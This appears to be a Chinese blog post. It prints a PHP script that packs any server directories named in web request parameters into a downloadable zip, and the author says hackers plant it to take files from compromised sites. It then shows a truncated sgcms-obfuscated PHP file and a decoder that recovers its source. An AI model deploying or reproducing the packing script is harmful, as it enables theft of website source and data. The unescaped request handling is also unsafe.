function SetFileFilter($filetype) 
{ 
$this->filefilters = explode('|',$filetype); 
} 
function unix2DosTime($unixtime = 0) 
{ 
$timearray = ($unixtime == 0) ?getdate() : getdate($unixtime); 
if ($timearray['year'] <1980) 
{ 
$timearray['year'] = 1980; 
$timearray['mon'] = 1; 
$timearray['mday'] = 1; 
$timearray['hours'] = 0; 
$timearray['minutes'] = 0; 
$timearray['seconds'] = 0; 
} 
return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) |($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1); 
} 
function startfile($path = 'dodo.zip') 
{ 
$this->gzfilename=$path; 
$mypathdir=array(); 
do 
{ 
$mypathdir[] = $path = dirname($path); 
}while($path != '.'); 
@end($mypathdir); 
do 
{ 
$path = @current($mypathdir); 
@mkdir($path); 
}while(@prev($mypathdir)); 
if($this->fp=@fopen($this->gzfilename,'w')) 
{ 
return true; 
} 
return false; 
} 
function addfile($data,$name) 
{ 
$name = str_replace('\\','/',$name); 
if(strrchr($name,'/')=='/') 
return $this->adddir($name); 
if(!empty($this->filefilters)) 
{ 
if (!in_array(end(explode('.',$name)),$this->filefilters)) 
{ 
return; 
} 
} 
$dtime = dechex($this->unix2DosTime()); 
$hexdtime = '\x'.$dtime[6] .$dtime[7] .'\x'.$dtime[4] .$dtime[5] .'\x'.$dtime[2] .$dtime[3] .'\x'.$dtime[0] .$dtime[1]; 
eval('$hexdtime = "'.$hexdtime .'";'); 
$unc_len = strlen($data); 
$crc = crc32($data); 
$zdata = gzcompress($data); 
$c_len = strlen($zdata); 
$zdata = substr(substr($zdata,0,strlen($zdata) -4),2); 
$datastr = "\x50\x4b\x03\x04"; 
$datastr .= "\x14\x00"; 
$datastr .= "\x00\x00"; 
$datastr .= "\x08\x00"; 
$datastr .= $hexdtime; 
$datastr .= pack('V',$crc); 
$datastr .= pack('V',$c_len); 
$datastr .= pack('V',$unc_len); 
$datastr .= pack('v',strlen($name)); 
$datastr .= pack('v',0); 
$datastr .= $name; 
$datastr .= $zdata; 
$datastr .= pack('V',$crc); 
$datastr .= pack('V',$c_len); 
$datastr .= pack('V',$unc_len); 
fwrite($this->fp,$datastr); 
$my_datastr_len = strlen($datastr); 
unset($datastr); 
$dirstr = "\x50\x4b\x01\x02"; 
$dirstr .= "\x00\x00"; 
$dirstr .= "\x14\x00"; 
$dirstr .= "\x00\x00"; 
$dirstr .= "\x08\x00"; 
$dirstr .= $hexdtime; 
$dirstr .= pack('V',$crc); 
$dirstr .= pack('V',$c_len); 
$dirstr .= pack('V',$unc_len); 
$dirstr .= pack('v',strlen($name) ); 
$dirstr .= pack('v',0 ); 
$dirstr .= pack('v',0 ); 
$dirstr .= pack('v',0 ); 
$dirstr .= pack('v',0 ); 
$dirstr .= pack('V',32 ); 
$dirstr .= pack('V',$this->datastr_len ); 
$dirstr .= $name; 
$this->dirstr .= $dirstr; 
$this ->file_count ++; 
$this ->dirstr_len += strlen($dirstr); 
$this ->datastr_len += $my_datastr_len; 
} 
function adddir($name) 
{ 
$name = str_replace("\\",'/',$name); 
$datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
$datastr .= pack('V',0).pack('V',0).pack('V',0).pack('v',strlen($name) ); 
$datastr .= pack('v',0 ).$name.pack('V',0).pack('V',0).pack('V',0); 
fwrite($this->fp,$datastr); 
$my_datastr_len = strlen($datastr); 
unset($datastr); 
$dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
$dirstr .= pack('V',0).pack('V',0).pack('V',0).pack('v',strlen($name) ); 
$dirstr .= pack('v',0 ).pack('v',0 ).pack('v',0 ).pack('v',0 ); 
$dirstr .= pack('V',16 ).pack('V',$this->datastr_len).$name; 
$this->dirstr .= $dirstr; 
$this ->file_count ++; 
$this ->dirstr_len += strlen($dirstr); 
$this ->datastr_len += $my_datastr_len; 
} 
function createfile() 
{ 
$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00". 
pack('v',$this ->file_count) . 
pack('v',$this ->file_count) . 
pack('V',$this ->dirstr_len) . 
pack('V',$this ->datastr_len) . 
"\x00\x00"; 
fwrite($this->fp,$this->dirstr.$endstr); 
fclose($this->fp); 
} 
} 
if(!trim($_REQUEST[zipname])) 
$_REQUEST[zipname] = 'dodozip.zip'; 
else 
$_REQUEST[zipname] = trim($_REQUEST[zipname]); 
if(!strrchr(strtolower($_REQUEST[zipname]),'.')=='.zip') 
$_REQUEST[zipname] .= '.zip'; 
$_REQUEST[todir] = str_replace('\\','/',trim($_REQUEST[todir])); 
if(!strrchr(strtolower($_REQUEST[todir]),'/')=='/') 
$_REQUEST[todir] .= '/'; 
if($_REQUEST[todir]=='/') 
$_REQUEST[todir] = './'; 
function listfiles($dir='.') 
{ 
global $dodozip; 
$sub_file_num = 0; 
if(is_file("$dir")) 
{ 
if(realpath($dodozip ->gzfilename)!=realpath("$dir")) 
{ 
$dodozip ->addfile(implode('',file("$dir")),"$dir"); 
return 1; 
} 
return 0; 
} 
$handle=opendir("$dir"); 
while ($file = readdir($handle)) 
{ 
if($file=='.'||$file=='..') 
continue; 
if(is_dir("$dir/$file")) 
{ 
$sub_file_num += listfiles("$dir/$file"); 
} 
else 
{ 
if(realpath($dodozip ->gzfilename)!=realpath("$dir/$file")) 
{ 
$dodozip ->addfile(implode('',file("$dir/$file")),"$dir/$file"); 
$sub_file_num ++; 
} 
} 
} 
closedir($handle); 
if(!$sub_file_num) 
$dodozip ->addfile('',"$dir/"); 
return $sub_file_num; 
} 
function num_bitunit($num) 
{ 
$bitunit=array(' B',' KB',' MB',' GB'); 
for($key=0;$key<count($bitunit);$key++) 
{ 
if($num>=pow(2,10*$key)-1) 
{ 
$num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]"; 
} 
} 
return $num_bitunit_str; 
} 
if(is_array($_REQUEST[dfile])) 
{ 
$dodozip = new PHPzip; 
if($_REQUEST['filetype'] != NULL) 
$dodozip ->SetFileFilter($_REQUEST['filetype']); 
if($dodozip ->startfile("$_REQUEST[todir]$_REQUEST[zipname]")) 
{ 
echo 'Working,Please wait...<br><br>'; 
$filenum = 0; 
foreach($_REQUEST[dfile] as $file) 
{ 
if(is_file($file)) 
{ 
if(!empty($dodozip ->filefilters)) 
if (!in_array(end(explode('.',$file)),$dodozip ->filefilters)) 
continue; 
echo "<font face=\"wingdings\" size=\"5\">2</font>  $file<br>"; 
} 
else 
{ 
echo "<font face=\"wingdings\" size=\"5\">0</font> $file<br>"; 
} 
$filenum += listfiles($file); 
} 
$dodozip ->createfile(); 
echo "<br>success,For $filenum files.Url:<a href='$_REQUEST[todir]$_REQUEST[zipname]' _fcksavedurl='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).')</a>'; 
} 
else 
{ 
echo "$_REQUEST[todir]$_REQUEST[zipname] Error,Unable to write file.<br>"; 
} 
} 
;echo ' 
</form> 
</body> 
</html> 
';?>

这是一个用来打包成zip的php代码，这些鸟人为了黑别人的网站什么办法都用，真恶心~~
下如是一个高人写的ThinkPHP框架(sgcms)解密程序：

<?php 
// This file is protected by sgcms & provided under license. 
Copyright(C) 2007-2010 www.sgcms.cn, All rights reserved. 
$OOO0O0O00=__FILE__; 
$OOO000000=urldecode('th6sbehqla4co_sadfpnr'); 
$OO00O0000=21496; 
$OOO0000O0=$OOO000000{4}. 
$OOO000000{9}.$OOO000000{3}.$OOO000000{5}; 
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; 
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5}; 
$O0O0000O0='OOO0000O0'; 
eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwM...

很明显，是使用了某种PHP代码混淆工具混淆了下，Google网上搜了下，问题解决，给遇到同样问题的朋友一个方便。
解密php文件：

<?php 
$filename="GlobalAction.class.php";//要解密的文件 
$lines = file($filename);//0,1,2行 
//第一次base64解密 
$content=""; 
if(preg_match("/O0O0000O0\('.*'\)/",$lines[1],$y)) 
{ 
$content=str_replace("O0O0000O0('","",$y[0]); 
$content=str_replace("')","",$content); 
$content=base64_decode($content); 
} 
//第一次base64解密后的内容中查找密钥 
$decode_key=""; 
if(preg_match("/\),'.*',/",$content,$k)) 
{ 
$decode_key=str_replace("),'","",$k[0]); 
$decode_key=str_replace("',","",$decode_key); 
} 
//查找要截取字符串长度 
$str_length=""; 
if(preg_match("/,\d*\),/",$content,$k)) 
{ 
$str_length=str_replace("),","",$k[0]); 
$str_length=str_replace(",","",$str_length); 
} 
//截取文件加密后的密文 
$Secret=substr($lines[2],$str_length); 
//echo $Secret; 
//直接还原密文输出 
echo "<?php\n".base64_decode(strtr($Secret,$decode_key, 
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')). 
"?>"; 
?>